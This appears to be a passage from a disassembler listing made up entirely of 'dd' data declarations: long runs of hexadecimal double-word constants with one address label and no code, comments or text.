		dd 0BA041CB0h, 0F3450030h, 0C9C69F75h, 58ED7DA8h, 540E9380h
		dd 0C1C15DBDh, 0D2FCF12h, 0AFC74881h, 80423A1Eh, 5A9A5758h
		dd 7485BB9Eh, 0F8E10061h, 0CB8A2969h, 57076051h, 89397B4Eh
		dd 95A39D40h, 7077D2Eh,	6FBA4984h, 2D18057h, 0B40F4DA8h
		dd 0C1459527h, 83CF06A3h, 3DD94183h, 30004F4Ah,	12053A74h
		dd 14844730h, 24419B51h, 14C66500h, 666D3F6Bh, 0FDEDEA00h
		dd 0B20F4DAAh, 2EC00080h, 0D9479056h, 51C01BD1h, 0F9BD8DB7h
		dd 0B4C407F4h, 0C0779BD3h, 0E5C7A74Eh, 41677F07h, 46C650A9h
		dd 2BBF3369h, 87C04E08h, 9D0181FFh, 0E42FD317h,	58BE76CFh
		dd 0B10E673Ah, 1A4010F5h, 6E6F075Ch, 0C61C2D00h, 0DA1F9EEFh
		dd 0B34F00A9h, 8448B30h, 5CF509B8h, 721E4084h, 47D8260Ch
		dd 0F03252B1h, 111F61DBh, 5082F51Eh, 9E419A94h,	7D32C018h
		dd 0C029E7B8h, 0B6850CA9h, 110F78C4h, 6355514Ah, 280AFFh
		dd 210C9421h, 9F3DB07h,	65D30400h, 1F2910E2h, 0B0DE1481h
		dd 4100B822h, 838D2776h, 0F20AE962h, 8C4DCA5Bh,	0AEC20742h
		dd 64AA4A80h, 59B8DA60h, 9D71C06Eh, 4F1EA9C7h, 9A0058A4h
		dd 0F4048F88h, 6FF4821h, 95855B9Dh, 0DB0060BDh,	37CDE653h
		dd 84A99Ch, 4C3A5CBh, 8668F49Bh, 5F27A007h, 9952805h, 0A7FFF020h
		dd 8EF61E72h, 0C530801Ch, 18FABC83h, 3087C024h,	3ED5A140h
		dd 0EF71263h, 7618074Ch, 6C3B312h, 7B9C9901h, 6384AAA9h
		dd 0D761D5EEh, 4D042417h, 0CBB2D700h, 12C78AE4h, 49781ED1h
		dd 7468803Ah, 69F790Bh,	500F4805h, 9846BE81h, 81AAD5h
		dd 8B21BC92h, 0B024A2B3h, 82FC6402h, 404286C0h,	0A85AE758h
		dd 80F9Ch, 0A3E2925Ch, 0DC19D3DFh, 8CCD6300h, 913C2F05h
		dd 0FE2400ECh, 62D2811Bh, 0BC19504Fh, 674165D6h, 0C0BB4BE8h
		dd 0B39A9980h, 0D8F75A24h, 0FF7E6420h, 63FC9F09h, 0BA60016Fh
		dd 0A4501C16h, 898497h,	452F665Bh, 0EC717522h, 0B86E0806h
		dd 612C07h, 70BBC74Fh, 9C33A934h, 0BF499618h, 0FB551F40h
		dd 65F2AC40h, 1E18408Bh, 53325606h, 690108h, 833458F7h
		dd 5F1C97B8h, 31CB100Ch, 0EE03612Ah, 88333D7Fh,	0B11B2880h
		dd 0D9925165h, 388C5048h, 3811423Ch, 18F72449h,	0DCEC140Ah
		dd 0DDC8B803h, 92E12476h, 50EA8030h, 0C997736Bh, 63AE9403h
		dd 0B8DDC68Dh, 155E4Ah,	0AD582F7Ah, 0D8679384h,	65020478h
		dd 0BDE0443Ch, 0A58404Eh, 35A9C05Fh, 0B0BB048Dh, 8CC44F00h
		dd 92E0B885h, 5C870BFh,	0D2059652h, 8B42564h, 0D942770Ch
		dd 8058006Ch, 43396749h, 2839008Eh, 917166DFh, 8854149Bh
		dd 6F32B0CAh, 0B08370C0h, 8F5D750h, 0D380D824h,	7BECCD98h
		dd 0DEFD0090h, 0C1411DA8h, 4C00F7BCh, 0DB8A34BFh, 12525679h
		dd 4B3CE6h, 7305F6FCh, 8415BF01h, 0AC0617h, 1B4B5E7Fh
		dd 10571D9h, 511D79A6h,	0CAABCBC8h, 0AFF0B481h,	8A46F850h
		dd 27752F0Ah, 0E7938CBBh, 0B2C79020h, 0DCA8001Bh, 784DE22Ch
		dd 0A70746EEh, 2E6CD7BEh, 65EC1D91h, 0BD5DC881h, 32D4184Fh
		dd 668A1E74h, 0E0203912h, 2893C13Ah, 984B1FCh, 0ED859448h
		dd 88613CA4h, 0E81FB578h, 7147E954h, 3E005ADAh,	9022A233h
		dd 57113F9Ch, 3B47EF85h, 0E915C7B8h, 43F08480h,	9600294Ah
		dd 7FEB8120h, 0F2F3FBCDh, 7D4200A4h, 3178E837h,	120F6CDFh
		dd 0E03A40B4h, 0FBD2B19Ah, 0F27F00A4h, 2BA12E81h, 4400D73Ch
		dd 0CA78CF7Ah, 6733F8BAh, 0F2772080h, 514048AFh, 0C200795Ch
		dd 0D1E096D9h, 34036Ch,	52C38E47h, 0AEA3B8A1h, 9558E860h
		dd 6F64222h, 4DB19B3Eh,	4BF8A03Dh, 0F43CD726h, 8EAE300h
		dd 61A22Ch, 34D4BF7Ch, 0AF9AF693h, 30D5F85Ch, 0B8EB80BBh
		dd 59A56F6Ch, 198F2386h, 0F9AE30C4h, 82208E22h,	69DDF3h
		dd 58950EC1h, 9832F00Dh, 6F45D30Ch, 0EA6AF99Ch,	1C9103EDh
		dd 0A12623B3h, 0FF981906h, 7FB08206h, 8F33014Ah, 0C6FC2D23h
		dd 0FD8BF00Ah, 0D276B413h, 3599A0Fh, 187BD15h, 0FCAF6D30h
		dd 809C7BB8h, 6E32E1B1h, 0CC9FE3D3h, 4D881C10h,	13219A60h
		dd 0EDD2F4h, 466D8AE1h,	0B14C9F60h, 766A0200h, 780E019h
		dd 2AF30567h, 9B45B0h, 0E743C02Ch, 0DD00717Dh, 21F1BA5h
		dd 0A15120h, 2E78B78Bh,	0B4872FBBh, 0AE102924h,	90B115h
		dd 5403C7F4h, 112F776h,	845234B7h, 24EF0E98h, 7A00D224h
		dd 189B776Ah, 98A5CA70h, 0B148004Ch, 46179F3Dh,	1200E95Ah
		dd 9A033828h, 0E6AC99D1h, 1E1EEAAh, 67C57EC8h, 48A786BEh
		dd 40A019DCh, 837472B8h, 0F59C9C0h, 0F6A4A39h, 8A849FC9h
		dd 18504201h, 861841B7h, 897C4099h, 0E60047D8h,	71C1B507h
		dd 0A90A34h, 0AAD45C99h, 70BA87AFh, 0D53C48h, 5FA50DB7h
		dd 0F696346h, 97E47B44h, 45E9FA4Ch, 0A2FD3Eh, 8E8A4AD9h
		dd 906A4882h, 1413001Ch, 0CFE2A955h, 5400304Eh,	84165F94h
		dd 945898Bh, 0DA1E3465h, 0CF973400h, 0C13D6B17h, 20077007h
		dd 0AA56587h, 7C20DF46h, 0DEBF0CCEh, 0CFC9B14Dh, 4B3B0F00h
		dd 0B5E5D4F4h, 0FDD70AA3h, 9F8C6B42h, 0C43CC284h, 5C4EA033h
		dd 0C234212h, 7765000h,	0F054A5F1h, 0FD5B2E92h,	0BFDF0005h
		dd 60288CDh, 4EA94B01h,	0FE293336h, 86199424h, 9B807907h
		dd 784DB332h, 0AB465010h, 851F1773h, 0B2BF021Ah, 346494B3h
		dd 380B253Ah, 0C46B01B5h, 0F7ABBDD1h, 18DA4820h, 50D09D42h
		dd 11204D86h, 97E1099Fh, 0AC20C63Bh, 776BABB4h,	0BEC0507Fh
		dd 0EE229367h, 746E5045h, 696121Ch, 66980627h, 6A70081Bh
		dd 0A66E5501h, 1021B475h, 24B1E0F0h, 40E02823h,	5057338Bh
		dd 0A64C7004h, 0F0823D91h, 733181Bh, 4D064988h,	1800742Eh
		dd 5315EEAh, 0AA286B36h, 0E10398F7h, 8E4A9724h,	2F6811C5h
		dd 6F3E01EBh
		dd 0B009316Bh, 890A30h,	0B566460Fh, 0EB78A5B4h,	9591AF62h
		dd 639CA123h, 4BE45596h, 0CAC4004Eh, 6E7B21A6h,	0E160072Eh
		dd 35330440h, 0DC3101DFh, 0AD51D36Ch, 101C308Dh, 604DD43Dh
		dd 0A5ED7E81h, 195F0185h, 0A92C0C7h, 8257CCFEh,	4460F000h
		dd 80CD699Bh, 87BE198Bh, 48F93950h, 90001B84h, 62D7E6E8h
		dd 474D130h, 6A3DA665h,	0CC309422h, 9707B32Ch, 51E04212h
		dd 91770520h, 0DD7F28Bh, 0D9A1E98Ah, 0CDF42170h, 37C900E8h
		dd 0CCCF0159h, 2650C7CEh, 6017ED1Fh, 21609614h,	0D3636B59h
		dd 6A220061h, 0D05C423h, 0F8033119h, 6DB3381Ah,	49278737h
		dd 6B6C56A0h, 588874A9h, 0EACE60DEh, 9FAC3760h,	1104498Dh
		dd 31670684h, 1BA81880h, 3A0E2C42h, 0E21A414Ch,	0FE9320B1h
		dd 0A84E6B29h, 0A3518D00h, 75907EBFh, 684600B9h, 0F5D60E2Bh
		dd 0C109A9F6h, 885AEBCDh, 0A002C8A9h, 82147FC3h, 0E0C03694h
		dd 0D35921h, 0A677B47Ah, 11C934AFh, 0F39DB000h,	475A4E0Eh
		dd 149126FDh, 8F803CE4h, 6BA8CFBCh, 0E5035F4Ch,	95866043h
		dd 222FF052h, 7CFEB1h, 0B41A2A03h, 32D69FF7h, 458B7600h
		dd 0F0E43649h, 9E3107D8h, 0EEDEFE6Dh, 0B0083B4Ch, 0A0787250h
		dd 4375B00h, 0F03ADD26h, 716A264Dh, 322341F4h, 4280240Fh
		dd 7D0CBF4Dh, 0D5EE941Eh, 0BD913FC0h, 0BAB540h,	29A99DCEh
		dd 9226174Ah, 0D70C78B2h, 51F996FEh, 59B100FBh,	2AF0E294h
		dd 5D0B498Bh, 104D88AFh, 2ACD1E0h, 0D60DF599h, 3C68CF95h
		dd 9200798Bh, 3E3C904Eh, 284FED6Bh, 5AC3560h, 2E5B34DEh
		dd 0E2088DFh, 26703B50h, 10F84Ch, 0EEF327E0h, 0FDDE8Fh
		dd 0C8BAB02h, 20590A3Dh, 3702C57Ah, 0FAA60B1Ch,	0CC4177D6h
		dd 0E118A1Ah, 99001405h, 2EE934CCh, 0C38A0DDh, 21AF0131h
		dd 2276102Bh, 0E13FD123h, 640871D8h, 1E93E50h, 1D296FCh
		dd 8F228A4Fh, 6009CF48h, 65B52CA3h, 0F6332A99h,	524D3098h
		dd 0E339E639h, 7568CB00h, 0BC4B87Bh, 4C2C0B37h,	4888996Ah
		dd 246560B8h, 69D9A61Bh, 0CEF857E8h, 32F60052h,	42506E53h
		dd 0FA0CDD83h, 0C9BC439Bh, 0E1C2004Dh, 9F6777D3h, 20618FFh
		dd 0F38E71B9h, 158A0620h, 31BA4342h, 0F91C7F00h, 3B38DD0Fh
		dd 5B5D0014h, 0B7E77DD5h, 8D607293h, 78113629h,	6C9C39EAh
		dd 44B0250Bh, 2DFC2410h, 0D003092h, 8678ADDEh, 305032DDh
		dd 8B418CAEh, 0E9306DABh, 8A05887Fh, 0E8A405D3h, 8A347BC2h
		dd 4E331C80h, 0DE2F9B41h, 0E0321105h, 8C7C6F06h, 2318CE48h
		dd 8AD99230h, 0C40A0045h, 562412D8h, 88006CE3h,	0F8369F07h
		dd 385D34Dh, 0B8461874h, 3DA11B29h, 0B323C86Ch,	3E11A1C2h
		dd 4568E0B6h, 6A7B889Ah, 0C1DB9300h, 4E168E89h,	30321CD5h
		dd 45FF83AEh, 8288FCAFh, 390F575Ch, 4736ACC6h, 0F2057110h
		dd 0FF6A3CC0h, 8FD0E79Ch, 0CF7D07EFh, 0C00D4D14h, 400C4E97h
		dd 0E00F3F02h, 0E67BBE88h, 0AFB421A4h, 9112423Eh, 6903073h
		dd 7E09346Bh, 864D83A7h, 111683Fh, 6E6430A8h, 327269FCh
		dd 14451604h, 2012D45Eh, 0E8967460h, 6CCB1631h,	3380709Bh
		dd 4A176B3Ch, 2C04B00Fh, 3752BD22h, 53D310F0h, 0CD01F9AFh
		dd 9FFB3F8h, 0BC46723h,	0F57C0B9Eh, 0F082A151h,	0C020EC2Eh
		dd 0EF8E640Ch, 0B8185C61h, 24C710E2h, 603CA28Bh, 3E34BD14h
		dd 0B3A22E26h, 0AE060C0Dh, 9C20C821h, 23444BBEh, 4F8C8D24h
		dd 0A9C8C0B8h, 92095615h, 0E33F51B4h, 0CC59008h, 0F494D62Ch
		dd 9D004811h, 607AE957h, 6A3B8Ch, 55254A69h, 99EBACD5h
		dd 7D4474Ch, 1B33EA86h,	6C67CC60h, 0E70E244Eh, 0A3070A74h
		dd 53D180A4h, 392EA5Ch,	6C78A12Eh, 0ED228080h, 889C5945h
		dd 0EF2E4D1Ch, 78240426h, 2C89240Fh, 0FF0D1B4h,	6DA5A69Ch
		dd 0BD049143h, 0ADC0FEC3h, 0D02ED3EFh, 2A3F9419h, 0E200E03Eh
		dd 83A87371h, 75439184h, 90EF009Ah, 0C18893BCh,	332697F4h
		dd 0E0A4D0D1h, 0B337F360h, 0A803132Ch, 9944086Dh, 0A8B5428Ah
		dd 0BE5E549Ch, 20D588C7h, 3DAC7EB1h, 0B7803C28h, 0FEFCA74Fh
		dd 6A0E6D09h, 6E44184Ch, 0BB03849Ch, 329884A6h,	0E42158FDh
		dd 6FD88B74h, 5503903Eh, 203D8538h, 466102B2h, 5EC67B3h
		dd 204004E2h, 3F591BA9h, 11A8B1Ch, 0FF477B28h, 0C0980470h
		dd 10D0ED19h, 1F0261F4h, 0C71A3BF5h, 0E8A461D4h, 20B97442h
		dd 50A80440h, 9C831300h, 7985CEE7h, 0EEFA0288h,	0F75A1F66h
		dd 407F7041h, 0DE42877Ch, 50EC5035h, 0D10B7C0Ch, 0AA2602A0h
		dd 0B21E73B1h, 6210B441h, 0B022CCh, 152D0F50h, 0EA92CBE6h
		dd 0DA01B700h, 0BF971F2Fh, 4DE318E7h, 34025153h, 0A2E49500h
		dd 42B2795Bh, 3E350FCCh, 9AA040B9h, 1D022180h, 784EC092h
		dd 38972C21h, 14780028h, 142719A5h, 2F241302h, 3CC88BE3h
		dd 767AB7FDh, 667BB079h, 4A707AECh, 84620898h, 5A6A3E89h
		dd 44B81858h, 97FC193Fh, 0E0308CA8h, 0E072A13Fh, 0C590891Ah
		dd 0A2670F45h, 41CA85DDh, 0FFD4AB8h, 4444690Fh,	3178C04Ch
		dd 7A00C33Bh, 81ADD407h, 29A16870h, 844E5Fh, 2475894Fh
		dd 98009C0Dh, 0DFBAE3C7h, 3F1B77Ah, 0E88EA0BEh,	59E04A7Eh
		dd 270CA666h, 4898CF6Fh, 8438908Bh, 5839F4C4h, 0A68ADC22h
		dd 3A6D8098h, 3FFFC07Ah, 6E25AF00h, 0F0804A17h,	49B20012h
		dd 8FB7393h, 8F001057h,	8103AB3Bh, 12CDB045h, 306B8BBFh
		dd 0DC342D9Ch, 0D103E200h, 0C1509038h, 0BF18207Ah, 0CC224Ch
		dd 5E360515h, 903C3277h, 4FA4BD1h, 8C87B354h, 5C008E00h
		dd 0D164893Fh, 0BFCCA1h, 73D9F585h, 8EFD86EBh, 8FFC7258h
		dd 0DD88806Eh, 49FB555h, 0DEFE6CD3h, 7700B22Ah,	2E64B607h
		dd 60233E82h, 2B338005h, 5B2D00ADh, 431D2F0h, 0A800CA96h
		dd 6E831797h, 16EB7C8Bh, 5F7E52h, 0F2F72E92h, 371F349Ch
		dd 9E82AA47h, 0C1D3AE6Ch, 2C099870h, 5AC2C150h,	0BC4B3B99h
		dd 0CA58B000h, 3F5349E4h, 0D0DAD90Eh, 0CD7640FBh, 2EE22A2Fh
		dd 40B49731h, 0E72C6C82h, 6E012200h, 0C7D33627h, 0C0030097h
		dd 0C25619EBh, 9901300Ah, 0F46C8967h, 6BD91FE0h, 0D78F8468h
		dd 0F32EB081h, 7215209Dh, 2BD93Fh, 11066DE7h, 345FA3h
		dd 0CF32DDDh, 0F5FD737Ch, 4EF9E40Fh, 32974107h,	0C08AADB7h
		dd 80D4694Dh, 2C9A581Eh, 0F9134FA9h, 7B00718Bh,	0B79DFF67h
		dd 0AAD2056Ah, 82363B16h, 9C616D90h, 1702317h, 0AD02D886h
		dd 0CEFC6564h, 13D73F9h, 700FB1F0h, 61309379h, 20243880h
		dd 0F5962A87h, 70730F8Ch, 380973Eh, 11B126E9h, 6C2F4D00h
		dd 0C0B87B8Bh, 10AE2605h, 88D42673h, 0FC0AE873h, 84878C0Bh
		dd 88B37A0Ah, 11B0BF5Ah, 0AF9F27h, 0F9559AF4h, 7586DC3Ch
		dd 0DC41295Ah, 0F0345C36h, 9813EC77h, 4ACC9035h, 0B00B28B4h
		dd 98EAC279h, 24EC5D0Ch, 404C9738h, 0FD405EF5h,	0B68E5F00h
		dd 5AE57841h, 865901B7h, 0E1213AC1h, 0EA4C3089h, 8CAFA021h
		dd 0E4799AFCh, 7A0C6200h, 95CAD404h, 0A0BB00AEh, 788F6812h
		dd 0FB00DE3Fh, 5D3F63Ch, 4F1C24h, 0B5A4665h, 0E9F88A9Ah
		dd 0E0D19605h, 2CA20C97h, 0E61A0400h, 0BE4432A9h, 4CABF9C0h
		dd 0EF4337h, 9D46285Fh,	0F957CD0Bh, 11C9101h, 0EA31DA2Ah
		dd 4CE3A6FCh, 0AC809C41h, 7F606B9Ch, 2EFFCB02h,	40B740C0h
		dd 1F3EDE12h, 0CE5941F5h, 0C860626Ah, 0A9CC0951h, 0EC16B05h
		dd 0F680C706h, 29C6A76h, 0A50372Eh, 8090FB81h, 0D10E5CEAh
		dd 2048211Dh, 1A23EFACh
		dd 20840002h, 4ACDA089h, 32003678h, 312C4BF8h, 0F0705E4h
		dd 753780A1h, 63B43DA3h, 9B5A4F80h, 25786B0Eh, 4C6C6076h
		dd 922B62h, 486E04FAh, 0D4CFFE55h, 69E22F00h, 200E259Ah
		dd 16F0B0Bh, 40448224h,	0EB078300h, 0AE5C2BE4h,	0C4402DEh
		dd 112D245Bh, 0F8B3C48h, 78CE4313h, 0B62488h, 7D51090h
		dd 0CC336E8Eh, 0D79C6C24h, 0BC6F1B02h, 7278C923h, 0FC17FC39h
		dd 2DC42098h, 0DC048E40h, 0DB8201ADh, 6FD55280h, 90AB0005h
		dd 0FDE5C073h, 5700C310h, 6DDB756Ch, 70CD05Ah, 87030A3Bh
		dd 7E4E30A8h, 0AD0062A7h, 2BAF024Ch, 1E04F89Ah,	0C0D69546h
		dd 0B74B0CC1h, 9F1D2489h, 2064BA26h, 0F23AC000h, 0E098B68Fh
		dd 8039489Dh, 9EC2310h,	49A81C3Eh, 64724458h, 0C789CC00h
		dd 0EA076251h, 21302312h, 413EB44Fh, 9088ED32h,	732E66F0h
		dd 3B41094Dh, 1C683DFEh, 8E013A84h, 8987A50Dh, 907861B7h
		dd 0E1F56F80h, 0C506C3D5h, 0F4976B64h, 3D7F0B11h, 144E2418h
		dd 26CE2300h, 1B321604h, 3FF7013Dh, 0BA53376Dh,	9A087C21h
		dd 36059A8h, 22532A3Ah,	0A48B94Ch, 0F414A94Eh, 11253E0Bh
		dd 40705F90h, 6C39C0ECh, 69FB6708h, 28648758h, 19001445h
		dd 8B4E1F18h, 9983F83h,	382E8C14h, 0F0360C68h, 96244D12h
		dd 0F6A1D820h, 0F9743FC1h, 18501B09h, 22AF5780h, 4E72339Bh
		dd 80889C03h, 90286E23h, 1FB1FC2h, 0DB3BAFF3h, 9D333466h
		dd 60498311h, 14ECC84Eh, 1577E6Ch, 970378E0h, 0E0079B1Bh
		dd 4F7C2B55h, 0E702DCB0h, 67FA8E4Ah, 3980444Eh,	8F07613Dh
		dd 20B537FFh, 933495E5h, 0AC396499h, 682494B6h,	2987B806h
		dd 69E10071h, 0BEA8E7E2h, 13004FBCh, 61B20C8Ah,	16604A75h
		dd 0C749AE53h, 40E429C4h, 63A64600h, 0E0AA35F6h, 0EE430330h
		dd 0BCE46F73h, 0C5200BB2h, 15BAA0h, 20BD9994h, 8CE203DFh
		dd 0FD00AA70h, 0D4C64F0Eh, 131CEB92h, 13DD66A6h, 9628910Eh
		dd 0CCB850F8h, 1904BBE0h, 48CF3389h, 650300B2h,	0A2E26172h
		dd 9DC399C3h, 100163D3h, 8A6D8587h, 0CC40B89Bh,	588BBE88h
		dd 59000CFDh, 6B6F110Fh, 0E904283Dh, 3A8A146Ch,	0CC8010A8h
		dd 4745C3E7h, 0C000FF79h, 0AC64BBC1h, 0DA666Dh,	86EA7C41h
		dd 10E6E0D3h, 1305D690h, 0C2C8A5F1h, 1C306685h,	9A6B16Ah
		dd 0DE01A079h, 6793AC80h, 631FBEA5h, 624BE06Bh,	9554904Eh
		dd 0AD9E0082h, 2EFDED19h, 6C008A12h, 0CCD9F6Bh,	7DA54E18h
		dd 0B40934DDh, 0F9D4A058h, 875AA700h, 43C0E214h, 25700398h
		dd 0AE51A668h, 0C8C2E5BAh, 2000E466h, 63FB6214h, 0C2C401h
		dd 2BDF6CC7h, 6DB24657h, 8442300h, 1F9C4A8Dh, 51F03202h
		dd 4F20EC40h, 186F599h,	0D86907B7h, 0CCC430D5h,	7CA080B4h
		dd 3DE465D1h, 0CBC82148h, 30DC02B6h, 0C7A5200Ch, 0CE4D948Ah
		dd 9D361FC8h, 0D134740h, 0BE66D5Ch, 4E79F05Dh, 599348C8h
		dd 258A2607h, 0C6F067C0h, 0C53E0h, 0A6109605h, 0D047D1A4h
		dd 248CA31Dh, 0F99CCC40h, 1D3903E0h, 4B63E88Eh,	3C00594Fh
		dd 0BECAB46Fh, 0B2070804h, 0A9C08C89h, 90ABC1A7h, 5F4405E0h
		dd 816E2FC3h, 0D1D46008h, 4442DFBh, 40318A2h, 0DB5800ABh
		dd 0E63DB74Ch, 0E485CD2Eh, 38028A12h, 64349943h, 4564901Ch
		dd 0A7F89FECh, 0A4CCE8D7h, 0F00703FCh, 7EB6D141h, 0FB74C7A0h
		dd 69F96D09h, 117C194Bh, 2388C03Ch, 3DA6BB87h, 96884449h
		dd 2C625264h, 30486C44h, 34870428h, 2CB24D20h, 35E3960Bh
		dd 0B07EFC87h, 0ED0BA6BFh, 45BEE117h, 0E4B41488h, 0D0094DB9h
		dd 189A3211h, 5749B642h, 0C7F10048h, 4DC909C5h,	7A076ACAh
		dd 857C5F72h, 0E3DACE40h, 238C05C3h, 888F542Dh,	100246D4h
		dd 75A5ADEBh, 9588B28h,	82CF004Fh, 0F0357DBEh, 1199624Eh
		dd 9CE4428Fh, 5E93301h,	0A8AA0E2Dh, 73ECFF0h, 0E529506Eh
		dd 239AD11Eh, 2DD429D3h, 6E842042h, 98F32EF9h, 29752988h
		dd 551E3AA4h, 0A1CB828Dh, 8C54FCFEh, 0F350AE1Ch, 92C02858h
		dd 10A5C275h, 1933BF0Eh, 848EEBCDh, 16C54FB4h, 0B6DC4404h
		dd 0E2482C0h, 9EEE0059h, 2BFDC294h, 703E8306h, 693107F5h
		dd 26A07D2Ah, 0E4A83C54h, 0EF73011Ch, 0FC3497E1h, 1070A781h
		dd 0D1AEE8h, 7CC8CC07h,	70910159h, 194ACDB8h, 916E4088h
		dd 830287A4h, 0B623A11Fh, 0BEB8F742h, 7EF88B2Eh, 0D2A1E200h
		dd 9BFAF7ADh, 25800A04h, 40ECB450h, 97FF8C5Fh, 8E2D4005h
		dd 0F8A43A22h, 0FE8009FDh, 4C89DCD3h, 3880E459h, 5F496278h
		dd 90C800B9h, 0F18883FBh, 35160DE1h, 0C89F4DF8h, 6E183E03h
		dd 88B469F8h, 0B0048784h, 3CC8309Fh, 4EC06480h,	382EED32h
		dd 232586F4h, 4208251Ah, 240B4h, 870EA44Eh, 3AB41E99h
		dd 6570FD02h, 0E01DEA36h, 5B7E6B96h, 8E004175h,	25A6275Ch
		dd 3ECC119Ch, 8050786Ah, 21AF1A4Fh, 999B0FFCh, 0B6922536h
		dd 18491C98h, 0DC9CB5C0h, 7CCC5A3Bh, 0E3EB000Ch, 3F644C0h
		dd 3500EE75h, 86DC7F5h,	0A0D3AF29h, 14DE30C8h, 6C215048h
		dd 0CC9C8B2Fh, 9D621300h, 5FD8B5A3h, 82B700A6h,	0B3FAF1E5h
		dd 0DC0C8AC3h, 8E0DE5Ah, 0DC974CE3h, 56D8A963h,	7AA58EA8h
		dd 0D96D861Eh, 5375AB05h, 8A4008B5h, 1E98DC04h,	40883651h
		dd 0F7912FCFh, 7016F56Ah, 0B09042D9h, 0FB32BEh,	0E2D161B3h
		dd 62058089h, 4FB90A08h, 0B43E8A98h, 78243A0h, 0DCB1F02Ch
		dd 684314h, 39FC0C33h, 26B80BD2h, 0F21DA5Fh, 0A8E5573Bh
		dd 416832BAh, 925F090h,	0C07FA900h, 0D77973Dh, 2EB900C7h
		dd 0F90C07EAh, 9253BF71h, 9DCF009Ch, 0FC186722h, 704C5F66h
		dd 0C7A669CCh, 0F6B1E601h, 0C5C9B348h, 0ED477A80h, 0B969BB54h
		dd 65E0924Fh, 8ED800FDh, 0EFA0315h, 311D353Ah, 3C0306A7h
		dd 0CC322469h, 0D50144CAh, 88E0301Dh, 0D0A82472h, 6888034Ah
		dd 0D4FB5496h, 0BB3800BFh, 0C02E2AF6h, 0B5033332h, 84F8BEC7h
		dd 7021BA98h, 50491260h, 0DF843025h, 50919327h,	835D3304h
		dd 703DD200h, 2C004586h, 9050055Ch, 73A1CA8Ah, 3E58C2FAh
		dd 0F0E97F1Fh, 3E983D96h, 476006Bh, 0E0CD7268h,	7A51024Dh
		dd 0F1CEB465h, 0F385C377h, 8B7808D8h, 7191FAD7h, 55D2FD00h
		dd 0A169EED6h, 1495B872h, 7E2F0090h, 0DF363DCCh, 1EEEC90Fh
		dd 0E8B38202h, 0C51C23E3h, 909F40h, 5101C4C8h, 0D2009B3Ch
		dd 0D39F03BAh, 75E450B0h, 3AB8DBh, 0A858C871h, 0EC213B0Dh
		dd 400FE72h, 0F1AF473Eh, 2C5A7F0Fh, 0A415C8h, 13908459h
		dd 3A483DFDh, 0D4DD0501h, 3CB2E203h, 0CE22CD00h, 15472AD7h
		dd 271023Ch, 7EA9109Dh,	0A7BB601Bh, 80B09D50h, 2F2C41CCh
		dd 163E24ACh, 88D14D79h, 96112726h, 0B4B850F7h,	8900B9E3h
		dd 0CD706CA6h, 58485Fh,	0CE26E452h, 3BF68503h, 46933A01h
		dd 0C9F8D79Fh, 3F22F86Ch, 0F770FF00h, 0A622DCF4h, 0DBEF0579h
		dd 0C06D8F60h, 0FE7BB2ABh, 1AEBE203h, 58A6A227h, 2D0860B0h
		dd 42128DD3h, 0A46ED490h, 3BCFFEDFh, 610097A5h,	8B3AF0F7h
		dd 0AD27E4FDh, 86A422D4h, 6BE1203Bh, 14BE4E5Dh,	79151A80h
		dd 438A14Ch, 0BF2FE06Eh, 32509323h, 0A0E482F2h,	4B98A144h
		dd 0A4CCCC36h, 0E081884Ah, 4F2A7BBEh, 0C8008904h, 0CA8B3826h
		dd 0EEE790Bh, 13E025B0h, 85A034E4h, 0D399DB80h,	14407B6h
		dd 0E8809890h, 0F0124F43h, 277E1BBDh, 198CE453h, 0C998EC9h
		dd 27151C0Ch, 3E14CFB2h, 8B40F9h, 0C75D010Ch, 283FC36Bh
		dd 27A58702h, 0F0750D1Fh
dword_53F858	dd 88D90E4Ch, 31856577h, 7BE0820Ah, 7097C56h, 851CA034h
		dd 7D8253D6h, 7DAA7AB5h, 0BC8F50C5h, 1A1E42CCh,	5A39E8E7h
		dd 1190A4h, 0A267E208h,	3865F882h, 6A724D13h, 8DE02401h
		dd 8607FA26h, 20A6D1C4h, 50F4C81Dh, 0A01B38C0h,	56DA60h
		dd 4020379Fh, 0E8F0147Bh, 0E10DDDE6h, 0D09A17ADh, 216C6C42h
		dd 713225C9h, 428442Bh,	4089F9E0h, 92047285h, 0AF162B6Ch
		dd 84A10A8h, 42521B1Ah,	0E32FBE9Bh, 0C13FB7E0h,	0F8549988h
		dd 80C863C6h, 810ACBF8h, 0BBD060B7h, 3D3065E3h,	666D009Ch
		dd 0A630A031h, 7F9F65Bh, 2358FA7h, 0CEC36007h, 7A26F893h
		dd 0FC00DEFBh, 2D03B65Bh, 5EE26h, 9A4D4F57h, 0D6AF736Bh
		dd 45C25500h, 0A5717BC9h, 0E1031658h, 0A4F05DCh, 6B8C0867h
		dd 2EAD562h, 647E203Eh,	22C8904Fh, 58E7B61h, 0E16420h
		dd 44CF2027h, 56246DC0h, 0A66F5E00h, 315F89E3h,	7AB70EC1h
		dd 11C403DFh, 0AB80EF7Bh, 3A3E8D4Bh, 905379CCh,	5F2EC722h
		dd 5540DC53h, 7303EA0Fh, 0E52001Fh, 0B0726CCCh,	2AB8EC0Ch
		dd 956A8D03h, 0F0BE5751h, 5B49FA5h, 9B3A2330h, 0A778CCB1h
		dd 6E0205F0h, 0BD19DFD0h, 7CCDE1C2h, 62CEFCF0h,	0FE68087Bh
		dd 4C0F5C41h, 89C0088Ch, 0F330B3CCh, 58986EA7h,	0F9DE3E71h
		dd 0B9F61203h, 142A8BCh, 80EA8131h, 3F1C3DD0h, 304F0C22h
		dd 24A36CBEh, 2C716AC0h, 40512726h, 0EC50C684h,	4A800D48h
		dd 11EE1F34h, 60A89C52h, 233F3013h, 0F6776A00h,	0C21998D6h
		dd 1B060248h, 7E6FF453h, 0D509A0F9h, 0BBA08463h, 67895F40h
		dd 26009B5Bh, 2444A35h,	14C4F00Dh, 0D07F1D79h, 86895849h
		dd 2B576002h, 94889060h, 6618219Fh, 1E02A9Eh, 633800FDh
		dd 0ABDEC83h, 8612B934h, 94CCF440h, 3E961DAFh, 0CCA2C0E7h
		dd 0BB70EC6h, 8C054003h, 0C2E5F750h, 4CB45E61h,	414CE00Ah
		dd 0B1D084FCh, 0B92AA480h, 0EAF30055h, 2963B888h, 0FC54D325h
		dd 74A343C4h, 578BF7C8h, 42073200h, 0BE5B231h, 0A6672490h
		dd 0C81B1088h, 99592D7h, 483D328h, 8CAD23B1h, 6788BCF4h
		dd 289C005Ch, 0F4E98E6h, 0E73B159Eh, 7584811Fh,	0FBDD6EBDh
		dd 1300407Dh, 0AC27A355h, 51EC1AB0h, 44687F00h,	45A87DBh
		dd 2AD42491h, 0CCFF1044h, 27E191C0h, 4CE80C97h,	6A09FE6Ch
